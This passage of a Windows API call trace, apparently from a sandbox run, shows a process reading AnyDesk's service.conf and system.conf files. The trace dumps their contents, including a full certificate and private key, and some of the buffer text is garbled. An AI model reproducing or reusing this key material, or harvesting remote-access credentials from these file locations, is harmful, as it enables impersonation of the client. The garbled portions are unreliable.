hHeap=0x3b0000) returned 1 [0194.246] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33738 [0194.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33758 [0194.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe2fb28 [0194.247] GetTickCount () returned 0x1880c28 [0194.247] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\service.conf" (normalized: "c:\\programdata\\anydesk\\service.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0194.247] LockFileEx (in: hFile=0x244, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b5fc | out: lpOverlapped=0x2a7b5fc) returned 1 [0194.247] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2a7b618 | out: lpFileSize=0x2a7b618*=2762) returned 1 [0194.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xaca) returned 0xe4d448 [0194.247] ReadFile (in: hFile=0x244, lpBuffer=0xe4d448, nNumberOfBytesToRead=0xaca, lpNumberOfBytesRead=0x2a7b62c, lpOverlapped=0x0 | out: lpBuffer=0xe4d448*, lpNumberOfBytesRead=0x2a7b62c*=0xaca, lpOverlapped=0x0) returned 1 [0194.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4d448, cbMultiByte=2762, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2762 [0194.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1596) returned 0xe58ac0 [0194.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4d448, cbMultiByte=2762, lpWideCharStr=0xe58ac0, cchWideChar=2763 | out: lpWideCharStr="ad.anynet.cert=-----BEGIN CERTIFICATE-----\\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\\nbGllbnQwIBcNMjIwODA1MTc0ODIyWhgPMjA3MjA3MjMxNzQ4MjJaMBkxFzAVBgNV\\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\\nAQEAoPovzJS9dgfgGwtrhPht7XdT85M4TiPyi7SesHHcrdlEAXfQ46fz1flCiD1/\\nzuNfst+7mrggrAE7Qk+Zcd/VcC7OQ9bmFnxZsfwDEeDLdMiPrz1ZwOYgQ0Zi+DoJ\\ntGCpJIpd5JuHYNj1IHF3tYt54cHLdAJMtWejVvX9G57TErKwtQ561t8sxqEKPFte\\nFLuhBA9Pk/ZgSwiQPBKY02J3zPip4Uc63gXKF1Zav8VN2UarQdgTHpXIRp07Qtbz\\nrXn4NECZV/5dWxHe95zvY8AIX+15BRm07i8EhuUkGXAPUUAVp+TBs80AuFBBkLrT\\nLAqSrR35Rc3PJPmPIoZtggf9qQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBeiD9m\\nZL7/APvs0tXI6j4KL1DRAYjWeGA9VinXZYobEfNyyk6FYuy62LJCwEu6DgKLz/6K\\n+rfjE6RfnA1RXRe8tfFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\\nQAytK30fPh4/PsHI\\n-----END CERTIFICATE-----\\n\nad.anynet.pkey=-----BEGIN PRIVATE KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCg+i/MlL12B+Ab\\nC2uE+G3td1PzkzhOI/KLtJ6wcdyt2UQBd9Djp/PV+UKIPX/O41+y37uauCCsATtC\\nT5lx39VwLs5D1uYWfFmx/AMR4Mt0yI+vPVnA5iBDRmL4Ogm0YKkkil3km4dg2PUg\\ncXe1i3nhwct0Aky1Z6NW9f0bntMSsrC1DnrW3yzGoQo8W14Uu6EED0+T9mBLCJA8\\nEpjTYnfM+KnhRzreBcoXVlq/xU3ZRqtB2BMelchGnTtC1vOtefg0QJlX/l1bEd73\\nnO9jwAhf7XkFGbTuLwSG5SQZcA9RQBWn5MGzzQC4UEGQutMsCpKtHflFzc8k+Y8i\\nhm2CB/2pAgMBAAECggEAejZW8a9+w0wpVP7viwz8kAtG/iYn2hMqgewHihd3nbjU\\nC3VGbn/E/A739u0RyiUPM4LuMAFYNJ3eunIqIaz4oum2CQTuu+V+R0T3o6wRasEV\\nbMpcCLnthoW6f4+4bGvyHd66d+On/NvaBd5/LqIMT1vMtW9Fg3eCJ3Qry7thrdAt\\nYEQgcnMcjY613l0UmVqG2NhqeiVNamyzWDF8+s1Sl4xuFMluyetKD9WeWJb8FK/J\\n/884OmaFKA7Dd1J3bNCEAOspIXB3rIhThFzh8FV9fXHWZgUs/HX9gduCMyRcDhbx\\nN7TR7XkpLAYTbAMq1JoHLYLM5BwfPx1D5l62wHfnrQKBgQDLW9QX3P/i922vyX0m\\nMY9kbB193aK8x/1PA9yKAXty2U+GCjYq3P2k1xlvBlishgmchhG3Ond+wpbRBPr4\\nOeJALdfDsX+JsaXHTMGNmpFNRvgTkD6e4Y7c4mZf5PgXWbHkZmnnyBvCXG1bheE/\\nG3W8/xoooSNPeh0UaSRZCd3icwKBgQDKpdPQK4ADsS/t93h/Z1JfOVqLDNWUAXDN\\nRdTWlh+xGykOmCs/qY1yn71pRtVosYkUZTH7LGEDNrapWjRiJ1X1djbQBLdzA594\\n5zlCjFVDpYd63x8+pZu5mPmXtgG5umzZkAbIRWYO9dW9cOmWACSmThUhuNCJEQbu\\ntZp3OHKscwKBgQCNhRJMqRfKs7Y5p1bYxZSspjC/7wXZqrO10VIhGHb4rhKRjXm0\\nyqYZmTex9BCxv3Xg38xkXuPZ60FZpMWjCWVSlJSbM2M2R9K+p8Pq764+wSzTMIbj\\nusTZIxVrlsSwO1N5R2xcSP5IfFn+X2Uprcp6BG4H6FvSa4DhO2p4LE2l0QKBgC9S\\nWgwanGJAVjjzuSfHMO0br5EZBibxzy2gSPtzQyNQfF30GuVa6rUBqHGVIPC5xJEG\\nsI0+58igVjdl4SWqmeAgItygvVYWWn8ZP73Sl3aciO6ge+NdOOg2WNKcpfqBFjoX\\n7/2Edzi3H5qFa4ajsetEAJtHVSss1rmXnuKIQ/8RAoGBAJL3EVTt0alBGRdeeLbn\\nR7N9Dmqvz8UMuL8k51+2t0tNmrrzNDv1fCjQX912oN5PgFnIG30fg7tVZPhkCo5G\\nZO0gCkEO0IApmYQcdSCCtDJYHAessvau3k1q4tcI3BlL7LgDJ5mVWH2/PNalztK/\\npNvlzErOkV5fOASeklpwOlTi\\n-----END PRIVATE KEY-----\\n\nrxੋ㟹ꉻ\x06\瀀堀伀洀眀䴀渀儀䠀樀⬀㔀愀戀渀漀氀㔀砀䘀最唀稀稀匀㈀渀䐀㈀䰀䌀匀搀洀甀昀⬀稀欀㔀㐀㌀氀尀渀眀欀洀㄀愀爀娀瀀焀㜀㐀吀椀⼀欀爀㠀㠀䴀一䬀挀攀䔀㠀娀䰀䨀䤀唀䠀渀眀昀眀戀䐀堀氀倀甀焀昀䨀礀㄀㠀椀㌀㔀搀㄀㌀　䨀一䐀唀瘀㘀堀刀㤀吀尀渀眀挀䌀䬀䜀樀礀䬀䠀䠀吀䬀唀渀琀娀㔀㔀䴀眀樀氀䈀圀⼀椀䴀䐀㈀夀㌀瘀䜀㘀爀㄀㘀搀䐀瘀渀瀀䔀圀爀⼀搀䘀吀吀䘀䴀伀搀䔀䰀堀攀匀圀最瀀䤀㄀尀渀儀䄀礀琀䬀㌀　昀倀栀㐀⼀倀猀䠀䤀尀渀ⴀⴀⴀⴀⴀ䔀一䐀 䌀䔀刀吀䤀䘀䤀䌀䄀吀䔀ⴀⴀⴀⴀⴀ尀渀∀) returned 2762 [0194.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ec) returned 0xe4be48 [0194.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55090 [0194.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xda8) returned 0xe52148 [0194.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0194.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ec) returned 0xe4c640 [0194.248] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4c640 | out: hHeap=0x3b0000) returned 1 [0194.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11640 [0194.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11528 [0194.248] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11640 | out: hHeap=0x3b0000) returned 1 [0194.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ce) returned 0xe4c640 [0194.249] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ce) returned 0xe5b740 [0194.249] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ac) returned 0xe5bf18 [0194.249] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5b740 | out: hHeap=0x3b0000) returned 1 [0194.249] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4c640 | out: hHeap=0x3b0000) returned 1 [0194.249] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.250] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe336f8 [0194.250] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11640 [0194.250] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.250] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ac) returned 0xe5b740 [0194.250] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5bf18 | out: hHeap=0x3b0000) returned 1 [0194.250] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11528 | out: hHeap=0x3b0000) returned 1 [0194.250] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xda8) returned 0xe5bef8 [0194.250] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5bef8 | out: hHeap=0x3b0000) returned 1 [0194.250] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11528 [0194.251] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe58300 [0194.251] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11528 | out: hHeap=0x3b0000) returned 1 [0194.251] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd8a) returned 0xe5bef8 [0194.251] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd8a) returned 0xe55f70 [0194.251] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd52) returned 0xe56d08 [0194.251] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55f70 | out: hHeap=0x3b0000) returned 1 [0194.251] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5bef8 | out: hHeap=0x3b0000) returned 1 [0194.252] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.252] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b860 [0194.252] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11528 [0194.252] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.252] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd52) returned 0xe55f70 [0194.252] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe56d08 | out: hHeap=0x3b0000) returned 1 [0194.252] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe58300 | out: hHeap=0x3b0000) returned 1 [0194.252] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be48 | out: hHeap=0x3b0000) returned 1 [0194.252] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55090 | out: hHeap=0x3b0000) returned 1 [0194.253] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe52148 | out: hHeap=0x3b0000) returned 1 [0194.253] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0194.253] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe58ac0 | out: hHeap=0x3b0000) returned 1 [0194.253] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4d448 | out: hHeap=0x3b0000) returned 1 [0194.253] UnlockFileEx (in: hFile=0x244, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b5b8 | out: lpOverlapped=0x2a7b5b8) returned 1 [0194.254] CloseHandle (hObject=0x244) returned 1 [0194.254] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.254] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.254] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.254] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd52) returned 0xe5bef8 [0194.255] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5a9e0 | out: hHeap=0x3b0000) returned 1 [0194.255] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582d8 | out: hHeap=0x3b0000) returned 1 [0194.255] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8c0 | out: hHeap=0x3b0000) returned 1 [0194.255] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5bef8 | out: hHeap=0x3b0000) returned 1 [0194.255] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.255] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.255] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ac) returned 0xe4d448 [0194.255] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5a228 | out: hHeap=0x3b0000) returned 1 [0194.256] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0194.256] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8a0 | out: hHeap=0x3b0000) returned 1 [0194.256] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4d448 | out: hHeap=0x3b0000) returned 1 [0194.256] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0194.256] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33738 | out: hHeap=0x3b0000) returned 1 [0194.256] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33778 | out: hHeap=0x3b0000) returned 1 [0194.256] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33778 [0194.256] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33738 [0194.256] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2fb28 [0194.256] GetTickCount () returned 0x1880c28 [0194.256] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0194.257] LockFileEx (in: hFile=0x244, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b5fc | out: lpOverlapped=0x2a7b5fc) returned 1 [0194.257] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2a7b618 | out: lpFileSize=0x2a7b618*=455) returned 1 [0194.257] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c7) returned 0xe4d448 [0194.257] ReadFile (in: hFile=0x244, lpBuffer=0xe4d448, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x2a7b62c, lpOverlapped=0x0 | out: lpBuffer=0xe4d448*, lpNumberOfBytesRead=0x2a7b62c*=0x1c7, lpOverlapped=0x0) returned 1 [0194.258] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4d448, cbMultiByte=455, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 455 [0194.258] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x390) returned 0xe4d618 [0194.258] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4d448, cbMultiByte=455, lpWideCharStr=0xe4d618, cchWideChar=456 | out: lpWideCharStr="ad.anynet.fpr=9f798b4c7a6e1a608c1a6b55f87e1456ddb10ff2\nad.anynet.relay.fatal_result=1.0\nad.anynet.relay.state=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.frontend_clipboard_version=1\nad.security.permission_profiles._default.permissions.sas=1\nad.security.permission_profiles._unattended_access.permissions.sas=1\nad.security.permission_profiles.version=1\nad.security.update_channel=stable\nad.security.update_type=0\nAંﻹꂼ\x05뻸åퟰàFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\nQAytK30fPh4/PsHI\n-----END CERTIFICATE-----\n") returned 455 [0194.258] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0xe1f868 [0194.258] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0194.258] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fc18 [0194.258] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55090 [0194.258] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55788 [0194.258] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550a8 [0194.258] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fcb8 [0194.258] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe12c00 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15fc0 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550f0 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x76) returned 0xe25718 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55108 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8a) returned 0xe34ac8 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55120 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe15f60 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55138 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fd08 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55150 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32838 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55168 [0194.259] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0xe1f958 [0194.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f958 | out: hHeap=0x3b0000) returned 1 [0194.260] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe14c40 [0194.260] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe582d8 [0194.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0194.260] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe155a0 [0194.260] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe16080 [0194.260] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15de0 [0194.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16080 | out: hHeap=0x3b0000) returned 1 [0194.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe155a0 | out: hHeap=0x3b0000) returned 1 [0194.261] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.261] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b880 [0194.261] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe14c40 [0194.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.261] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe155a0 [0194.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0194.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582d8 | out: hHeap=0x3b0000) returned 1 [0194.261] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fd58 [0194.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd58 | out: hHeap=0x3b0000) returned 1 [0194.261] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10e58 [0194.261] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10ea0 [0194.263] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10e58 | out: hHeap=0x3b0000) returned 1 [0194.263] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab88 [0194.263] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab78 [0194.263] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab98 [0194.263] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.263] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.263] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.263] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8a0 [0194.263] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10e58 [0194.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.264] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab88 [0194.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0194.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ea0 | out: hHeap=0x3b0000) returned 1 [0194.264] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe558d8 [0194.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe558d8 | out: hHeap=0x3b0000) returned 1 [0194.265] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe558d8 [0194.265] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55948 [0194.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe558d8 | out: hHeap=0x3b0000) returned 1 [0194.265] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab98 [0194.265] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.265] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aba8 [0194.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0194.265] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab98 [0194.265] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8c0 [0194.265] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe558d8 [0194.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0194.265] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab98 [0194.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.266] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55948 | out: hHeap=0x3b0000) returned 1 [0194.266] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fd58 [0194.266] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd58 | out: hHeap=0x3b0000) returned 1 [0194.266] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ea0 [0194.266] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ee8 [0194.266] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ea0 | out: hHeap=0x3b0000) returned 1 [0194.266] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aba8 [0194.267] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab78 [0194.267] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abb8 [0194.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.267] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aba8 [0194.267] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8e0 [0194.267] RtlAllocateHeap 